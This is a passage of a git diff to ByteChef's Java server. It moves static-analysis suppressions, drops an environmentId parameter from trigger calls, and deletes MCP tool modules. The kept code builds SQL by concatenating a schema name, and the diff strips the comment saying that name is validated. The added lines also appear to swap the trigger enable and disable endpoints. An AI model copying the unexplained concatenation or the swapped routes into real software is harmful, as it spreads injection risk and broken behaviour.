-     * Security Note: PATH_TRAVERSAL_IN - URL comes from internal file storage after admin upload, not direct user
-     * input. Access is controlled through admin-only upload permissions.
-     */
-    @SuppressFBWarnings("PATH_TRAVERSAL_IN")
     public static ComponentHandler loadComponentHandler(
         URL url, Language language, String cacheKey, CacheManager cacheManager) {
 
@@ -52,11 +46,6 @@ private static ComponentHandler loadJavaComponentHandler(
         }
     }
 
-    /**
-     * Security Note: PATH_TRAVERSAL_IN - URL comes from internal file storage after admin upload, not direct user
-     * input.
-     */
-    @SuppressFBWarnings("PATH_TRAVERSAL_IN")
     private static ComponentHandler loadPolyglotComponentHandler(URL url, Language language)
         throws URISyntaxException, IOException {
 
diff --git a/server/ee/libs/platform/platform-scheduler/platform-scheduler-impl/src/main/java/com/bytechef/ee/platform/scheduler/tenant/MultiTenantDriverDelegate.java b/server/ee/libs/platform/platform-scheduler/platform-scheduler-impl/src/main/java/com/bytechef/ee/platform/scheduler/tenant/MultiTenantDriverDelegate.java
index 7b5fe4cd637..e502ba70d55 100644
--- a/server/ee/libs/platform/platform-scheduler/platform-scheduler-impl/src/main/java/com/bytechef/ee/platform/scheduler/tenant/MultiTenantDriverDelegate.java
+++ b/server/ee/libs/platform/platform-scheduler/platform-scheduler-impl/src/main/java/com/bytechef/ee/platform/scheduler/tenant/MultiTenantDriverDelegate.java
@@ -31,12 +31,11 @@
 import org.quartz.spi.OperableTrigger;
 
 /**
- * Multi-tenant Quartz scheduler driver delegate that sets PostgreSQL search_path per tenant.
- *
  * @version ee
  *
  * @author Ivica Cardic
  */
+@SuppressFBWarnings("SQL_INJECTION_JDBC")
 public class MultiTenantDriverDelegate extends StdJDBCDelegate {
 
     private final DriverDelegate delegate;
@@ -600,16 +599,6 @@ private <T> T execute(Connection connection, FunctionWithSQLException<Connection
         }
     }
 
-    /**
-     * Sets the PostgreSQL search_path to the specified schema.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL injection suppression is for schema name injection which cannot be parameterized in
-     * PostgreSQL. The search_path is set using a tenant ID that is validated to contain only alphanumeric characters,
-     * underscores, and hyphens. This is a PostgreSQL limitation for DDL/schema operations, not a security
-     * vulnerability.
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
     private static void setSearchPath(Connection connection, String databaseSchemaName) throws SQLException {
         try (Statement statement = connection.createStatement()) {
             statement.execute("SET search_path TO " + databaseSchemaName);
diff --git a/server/ee/libs/platform/platform-scheduler/platform-scheduler-impl/src/main/java/com/bytechef/ee/platform/scheduler/tenant/MultiTenantSemaphore.java b/server/ee/libs/platform/platform-scheduler/platform-scheduler-impl/src/main/java/com/bytechef/ee/platform/scheduler/tenant/MultiTenantSemaphore.java
index fe77d26cb13..dea9d956b42 100644
--- a/server/ee/libs/platform/platform-scheduler/platform-scheduler-impl/src/main/java/com/bytechef/ee/platform/scheduler/tenant/MultiTenantSemaphore.java
+++ b/server/ee/libs/platform/platform-scheduler/platform-scheduler-impl/src/main/java/com/bytechef/ee/platform/scheduler/tenant/MultiTenantSemaphore.java
@@ -17,12 +17,11 @@
 import org.quartz.impl.jdbcjobstore.Semaphore;
 
 /**
- * Multi-tenant Quartz semaphore implementation that sets PostgreSQL search_path per tenant.
- *
  * @version ee
  *
  * @author Ivica Cardic
  */
+@SuppressFBWarnings("SQL_INJECTION_JDBC")
 public class MultiTenantSemaphore implements Semaphore {
 
     private final Semaphore semaphore;
@@ -68,16 +67,6 @@ private <T> T execute(Connection connection, Function<Connection, T> function) {
         }
     }
 
-    /**
-     * Sets the PostgreSQL search_path to the specified schema.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL injection suppression is for schema name injection which cannot be parameterized in
-     * PostgreSQL. The search_path is set using a tenant ID that is validated to contain only alphanumeric characters,
-     * underscores, and hyphens. This is a PostgreSQL limitation for DDL/schema operations, not a security
-     * vulnerability.
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
     private static void setSearchPath(Connection connection, String databaseSchemaName) throws SQLException {
         try (Statement statement = connection.createStatement()) {
             statement.execute("SET search_path TO " + databaseSchemaName);
diff --git a/server/ee/libs/platform/platform-user/platform-user-graphql/src/test/resources/graphql/test.graphqls b/server/ee/libs/platform/platform-user/platform-user-graphql/src/test/resources/graphql/test.graphqls
index 2aad0e635e2..4c4bca470e7 100644
--- a/server/ee/libs/platform/platform-user/platform-user-graphql/src/test/resources/graphql/test.graphqls
+++ b/server/ee/libs/platform/platform-user/platform-user-graphql/src/test/resources/graphql/test.graphqls
@@ -1,9 +1,5 @@
 # Test-only GraphQL base operations for GraphQL slice tests in this module.
-
-# Base operation types so that 'extend type Query/Mutation' from main resources can merge.
-type Query {
-    _placeholder: Boolean
-}
+# The base Query type is provided by another schema via classpath.
 
 type Mutation {
     _placeholder: Boolean
diff --git a/server/ee/libs/platform/platform-user/platform-user-remote-client/src/main/java/com/bytechef/ee/platform/user/remote/client/service/RemoteUserServiceClient.java b/server/ee/libs/platform/platform-user/platform-user-remote-client/src/main/java/com/bytechef/ee/platform/user/remote/client/service/RemoteUserServiceClient.java
index 12b466a6ca4..6bb601f1fc1 100644
--- a/server/ee/libs/platform/platform-user/platform-user-remote-client/src/main/java/com/bytechef/ee/platform/user/remote/client/service/RemoteUserServiceClient.java
+++ b/server/ee/libs/platform/platform-user/platform-user-remote-client/src/main/java/com/bytechef/ee/platform/user/remote/client/service/RemoteUserServiceClient.java
@@ -68,11 +68,6 @@ public Optional<User> fetchUser(long id) {
         throw new UnsupportedOperationException();
     }
 
-    @Override
-    public Optional<User> fetchUserByAuthProviderAndProviderId(String authProvider, String providerId) {
-        throw new UnsupportedOperationException();
-    }
-
     @Override
     public Optional<User> fetchUserByEmail(String email) {
         throw new UnsupportedOperationException();
@@ -98,13 +93,6 @@ public User getUser(long id) {
         throw new UnsupportedOperationException();
     }
 
-    @Override
-    public User findOrCreateSocialUser(
-        String email, String firstName, String lastName, String imageUrl, String authProvider, String providerId) {
-
-        throw new UnsupportedOperationException();
-    }
-
     @Override
     public User registerUser(AdminUserDTO userDTO, String password) {
         throw new UnsupportedOperationException();
diff --git a/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-client/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/client/facade/RemoteTriggerLifecycleFacadeClient.java b/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-client/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/client/facade/RemoteTriggerLifecycleFacadeClient.java
index 7af047c5bac..7298e8c4e42 100644
--- a/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-client/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/client/facade/RemoteTriggerLifecycleFacadeClient.java
+++ b/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-client/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/client/facade/RemoteTriggerLifecycleFacadeClient.java
@@ -41,19 +41,18 @@ public void executeTriggerDisable(
         post(
             TRIGGER_LIFECYCLE_FACADE + "/execute-trigger-enable",
             new TriggerRequest(
-                workflowId, workflowExecutionId, triggerWorkflowNodeType, triggerParameters, connectionId, null, -1));
+                workflowId, workflowExecutionId, triggerWorkflowNodeType, triggerParameters, connectionId, null));
     }
 
     @Override
     public void executeTriggerEnable(
         String workflowId, WorkflowExecutionId workflowExecutionId, WorkflowNodeType triggerWorkflowNodeType,
-        Map<String, ?> triggerParameters, Long connectionId, String webhookUrl, long environmentId) {
+        Map<String, ?> triggerParameters, Long connectionId, String webhookUrl) {
 
         post(
-            TRIGGER_LIFECYCLE_FACADE + "/execute-trigger-enable",
+            TRIGGER_LIFECYCLE_FACADE + "/execute-trigger-disable",
             new TriggerRequest(
-                workflowId, workflowExecutionId, triggerWorkflowNodeType, triggerParameters, connectionId, webhookUrl,
-                environmentId));
+                workflowId, workflowExecutionId, triggerWorkflowNodeType, triggerParameters, connectionId, webhookUrl));
     }
 
     private void post(String path, TriggerRequest workflowExecutionId) {
@@ -68,6 +67,6 @@ private void post(String path, TriggerRequest workflowExecutionId) {
     @SuppressFBWarnings("EI")
     private record TriggerRequest(
         String workflowId, WorkflowExecutionId workflowExecutionId, WorkflowNodeType triggerWorkflowNodeType,
-        Map<String, ?> triggerParameters, long connectionId, String webhookUrl, long environmentId) {
+        Map<String, ?> triggerParameters, long connectionId, String webhookUrl) {
     }
 }
diff --git a/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-client/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/client/service/RemotePrincipalJobServiceClient.java b/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-client/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/client/service/RemotePrincipalJobServiceClient.java
index cf31dbd9065..c82c3127fab 100644
--- a/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-client/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/client/service/RemotePrincipalJobServiceClient.java
+++ b/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-client/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/client/service/RemotePrincipalJobServiceClient.java
@@ -58,11 +58,6 @@ public Optional<Long> fetchLastJobId(long principalId, PlatformType type) {
                 Long.class));
     }
 
-    @Override
-    public Optional<Long> fetchLastWorkflowJobId(long principalId, List<String> workflowIds, PlatformType type) {
-        throw new UnsupportedOperationException();
-    }
-
     @Override
     public Optional<Long> fetchJobPrincipalId(long jobId, PlatformType type) {
         return Optional.ofNullable(
diff --git a/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-rest/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/web/rest/facade/RemoteTriggerLifecycleFacadeController.java b/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-rest/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/web/rest/facade/RemoteTriggerLifecycleFacadeController.java
index 3e8461b8ccb..ccac4f7ef36 100644
--- a/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-rest/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/web/rest/facade/RemoteTriggerLifecycleFacadeController.java
+++ b/server/ee/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-remote-rest/src/main/java/com/bytechef/ee/platform/workflow/execution/remote/web/rest/facade/RemoteTriggerLifecycleFacadeController.java
@@ -49,13 +49,12 @@ public void executeTriggerDisable(TriggerRequest triggerRequest) {
     public void executeTriggerEnable(TriggerRequest triggerRequest) {
         triggerLifecycleFacade.executeTriggerEnable(
             triggerRequest.workflowId, triggerRequest.workflowExecutionId, triggerRequest.triggerWorkflowNodeType,
-            triggerRequest.triggerParameters, triggerRequest.connectionId, triggerRequest.webhookUrl,
-            triggerRequest.environmentId);
+            triggerRequest.triggerParameters, triggerRequest.connectionId, triggerRequest.webhookUrl);
     }
 
     @SuppressFBWarnings("EI")
     public record TriggerRequest(
         String workflowId, WorkflowExecutionId workflowExecutionId, WorkflowNodeType triggerWorkflowNodeType,
-        Map<String, ?> triggerParameters, long connectionId, String webhookUrl, long environmentId) {
+        Map<String, ?> triggerParameters, long connectionId, String webhookUrl) {
     }
 }
diff --git a/server/libs/ai/mcp/mcp-server/build.gradle.kts b/server/libs/ai/mcp/mcp-server/build.gradle.kts
index 7870bab8504..9e3b975990a 100644
--- a/server/libs/ai/mcp/mcp-server/build.gradle.kts
+++ b/server/libs/ai/mcp/mcp-server/build.gradle.kts
@@ -7,7 +7,7 @@ dependencies {
     implementation("org.springframework:spring-web")
     implementation("org.springframework.security:spring-security-web")
     implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-automation-impl"))
+    implementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-automation"))
     implementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-platform"))
     implementation(project(":server:libs:core:commons:commons-util"))
     implementation(project(":server:libs:core:tenant:tenant-api"))
diff --git a/server/libs/ai/mcp/mcp-server/src/main/java/com/bytechef/ai/mcp/server/config/ManagementMcpServerConfiguration.java b/server/libs/ai/mcp/mcp-server/src/main/java/com/bytechef/ai/mcp/server/config/ManagementMcpServerConfiguration.java
index e760bb30d0b..298e0552ec7 100644
--- a/server/libs/ai/mcp/mcp-server/src/main/java/com/bytechef/ai/mcp/server/config/ManagementMcpServerConfiguration.java
+++ b/server/libs/ai/mcp/mcp-server/src/main/java/com/bytechef/ai/mcp/server/config/ManagementMcpServerConfiguration.java
@@ -51,7 +51,7 @@
  * @author Ivica Cardic
  */
 @Configuration
-@ConditionalOnProperty(name = "bytechef.ai.mcp.server.enabled", havingValue = "true", matchIfMissing = true)
+@ConditionalOnProperty(name = "bytechef.mcp.server.enabled", havingValue = "true", matchIfMissing = true)
 public class ManagementMcpServerConfiguration {
 
     private final ProjectToolsImpl projectTools;
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-api/build.gradle.kts b/server/libs/ai/mcp/mcp-tool/mcp-tool-api/build.gradle.kts
deleted file mode 100644
index 2c3d90daf3e..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-api/build.gradle.kts
+++ /dev/null
@@ -1,4 +0,0 @@
-dependencies {
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework:spring-context")
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-api/src/main/java/com/bytechef/ai/mcp/tool/config/ConditionalOnAiEnabled.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-api/src/main/java/com/bytechef/ai/mcp/tool/config/ConditionalOnAiEnabled.java
deleted file mode 100644
index da55de5cc4c..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-api/src/main/java/com/bytechef/ai/mcp/tool/config/ConditionalOnAiEnabled.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.config;
-
-import java.lang.annotation.Documented;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import org.springframework.context.annotation.Conditional;
-
-/**
- * Conditional annotation that activates beans when either MCP server or AI Copilot is enabled.
- *
- * <p>
- * This condition matches when any of the following properties is set to {@code true}:
- * <ul>
- * <li>{@code bytechef.ai.mcp.server.enabled}</li>
- * <li>{@code bytechef.ai.copilot.enabled}</li>
- * </ul>
- *
- * @author Ivica Cardic
- */
-@Target({
-    ElementType.TYPE, ElementType.METHOD
-})
-@Retention(RetentionPolicy.RUNTIME)
-@Documented
-@Conditional(OnAiEnabledCondition.class)
-public @interface ConditionalOnAiEnabled {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-api/src/main/java/com/bytechef/ai/mcp/tool/config/OnAiEnabledCondition.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-api/src/main/java/com/bytechef/ai/mcp/tool/config/OnAiEnabledCondition.java
deleted file mode 100644
index eaf3d1c6b65..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-api/src/main/java/com/bytechef/ai/mcp/tool/config/OnAiEnabledCondition.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.config;
-
-import org.springframework.context.annotation.Condition;
-import org.springframework.context.annotation.ConditionContext;
-import org.springframework.core.env.Environment;
-import org.springframework.core.type.AnnotatedTypeMetadata;
-
-/**
- * Condition that matches when either MCP server or AI Copilot is enabled.
- *
- * <p>
- * Default values when properties are missing:
- * <ul>
- * <li>{@code bytechef.ai.mcp.server.enabled} defaults to {@code true} (matchIfMissing)</li>
- * <li>{@code bytechef.ai.copilot.enabled} defaults to {@code false}</li>
- * </ul>
- *
- * <p>
- * This condition returns {@code true} if the resolved value of either property is {@code true}.
- *
- * @author Ivica Cardic
- */
-public class OnAiEnabledCondition implements Condition {
-
-    private static final String MCP_SERVER_ENABLED_PROPERTY = "bytechef.ai.mcp.server.enabled";
-    private static final String COPILOT_ENABLED_PROPERTY = "bytechef.ai.copilot.enabled";
-
-    @Override
-    public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata) {
-        Environment environment = context.getEnvironment();
-
-        String mcpServerEnabledValue = environment.getProperty(MCP_SERVER_ENABLED_PROPERTY);
-        String copilotEnabledValue = environment.getProperty(COPILOT_ENABLED_PROPERTY);
-
-        // MCP server defaults to true when missing (matchIfMissing behavior)
-        boolean mcpServerEnabled = mcpServerEnabledValue == null || "true".equalsIgnoreCase(mcpServerEnabledValue);
-
-        // Copilot defaults to false when missing
-        boolean copilotEnabled = "true".equalsIgnoreCase(copilotEnabledValue);
-
-        return mcpServerEnabled || copilotEnabled;
-    }
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/build.gradle.kts b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/build.gradle.kts
deleted file mode 100644
index baea815a66a..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/build.gradle.kts
+++ /dev/null
@@ -1,3 +0,0 @@
-dependencies {
-    api(project(":server:libs:platform:platform-workflow:platform-workflow-validator"))
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectDeploymentStatusInfo.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectDeploymentStatusInfo.java
deleted file mode 100644
index fe0dd310dfa..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectDeploymentStatusInfo.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonPropertyDescription;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-
-/**
- * Project deployment status information record for API responses.
- *
- * @author Marko Kriskovic
- */
-@SuppressFBWarnings("EI")
-public record ProjectDeploymentStatusInfo(
-    @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the deployment") Long id,
-    @JsonProperty("environment") @JsonPropertyDescription("The deployment environment") String environment,
-    @JsonProperty("enabled") @JsonPropertyDescription("Whether the deployment is enabled") boolean enabled,
-    @JsonProperty("is_deployment_enabled") @JsonPropertyDescription("Whether the deployment is currently enabled") boolean isDeploymentEnabled,
-    @JsonProperty("created_date") @JsonPropertyDescription("When the deployment was created") Instant createdDate,
-    @JsonProperty("last_modified_date") @JsonPropertyDescription("When the deployment was last modified") Instant lastModifiedDate) {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectDetailInfo.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectDetailInfo.java
deleted file mode 100644
index 07402fef298..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectDetailInfo.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonPropertyDescription;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import java.util.List;
-
-/**
- * Detailed project information record for API responses.
- *
- * @author Marko Kriskovic
- */
-@SuppressFBWarnings("EI")
-public record ProjectDetailInfo(
-    @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project") Long id,
-    @JsonProperty("name") @JsonPropertyDescription("The name of the project") String name,
-    @JsonProperty("description") @JsonPropertyDescription("The description of the project") String description,
-    @JsonProperty("status") @JsonPropertyDescription("The current status of the project") String status,
-    @JsonProperty("category_id") @JsonPropertyDescription("The category ID of the project") Long categoryId,
-    @JsonProperty("workspace_id") @JsonPropertyDescription("The workspace ID of the project") Long workspaceId,
-    @JsonProperty("tag_ids") @JsonPropertyDescription("The tag IDs associated with the project") List<Long> tagIds,
-    @JsonProperty("versions") @JsonPropertyDescription("The versions of the project") List<ProjectVersionInfo> versions,
-    @JsonProperty("created_date") @JsonPropertyDescription("When the project was created") Instant createdDate,
-    @JsonProperty("last_modified_date") @JsonPropertyDescription("When the project was last modified") Instant lastModifiedDate,
-    @JsonProperty("last_published_date") @JsonPropertyDescription("When the project was last published") Instant lastPublishedDate) {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectInfo.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectInfo.java
deleted file mode 100644
index 44203509ffc..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectInfo.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonPropertyDescription;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-
-/**
- * Project information record for API responses.
- *
- * @author Marko Kriskovic
- */
-@SuppressFBWarnings("EI")
-public record ProjectInfo(
-    @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project") Long id,
-    @JsonProperty("name") @JsonPropertyDescription("The name of the project") String name,
-    @JsonProperty("description") @JsonPropertyDescription("The description of the project") String description,
-    @JsonProperty("status") @JsonPropertyDescription("The current status of the project") String status,
-    @JsonProperty("created_date") @JsonPropertyDescription("When the project was created") Instant createdDate,
-    @JsonProperty("last_modified_date") @JsonPropertyDescription("When the project was last modified") Instant lastModifiedDate) {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectPublishInfo.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectPublishInfo.java
deleted file mode 100644
index 023ba0cdda3..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectPublishInfo.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonPropertyDescription;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-
-/**
- * Project publish information record for API responses.
- *
- * @author Marko Kriskovic
- */
-@SuppressFBWarnings("EI")
-public record ProjectPublishInfo(
-    @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project") Long id,
-    @JsonProperty("name") @JsonPropertyDescription("The name of the project") String name,
-    @JsonProperty("published_version") @JsonPropertyDescription("The published version number") int publishedVersion,
-    @JsonProperty("description") @JsonPropertyDescription("The description of the published version") String description,
-    @JsonProperty("published_date") @JsonPropertyDescription("When the version was published") Instant publishedDate) {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectStatusInfo.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectStatusInfo.java
deleted file mode 100644
index 07146813064..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectStatusInfo.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonPropertyDescription;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import java.util.List;
-
-/**
- * Project status information record for API responses.
- *
- * @author Marko Kriskovic
- */
-@SuppressFBWarnings("EI")
-public record ProjectStatusInfo(
-    @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project") Long id,
-    @JsonProperty("name") @JsonPropertyDescription("The name of the project") String name,
-    @JsonProperty("status") @JsonPropertyDescription("The current status of the project") String status,
-    @JsonProperty("is_published") @JsonPropertyDescription("Whether the project is published") boolean isPublished,
-    @JsonProperty("last_version") @JsonPropertyDescription("The last version number") int lastVersion,
-    @JsonProperty("last_published_date") @JsonPropertyDescription("When the project was last published") Instant lastPublishedDate,
-    @JsonProperty("deployments") @JsonPropertyDescription("The deployment status information") List<ProjectDeploymentStatusInfo> deployments) {
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectVersionInfo.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectVersionInfo.java
deleted file mode 100644
index 1e48b5caeed..00000000000
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectVersionInfo.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ai.mcp.tool.automation.api;
-
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonPropertyDescription;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-
-/**
- * Project version information record for API responses.
- *
- * @author Marko Kriskovic
- */
-@SuppressFBWarnings("EI")
-public record ProjectVersionInfo(
-    @JsonProperty("version") @JsonPropertyDescription("The version number") int version,
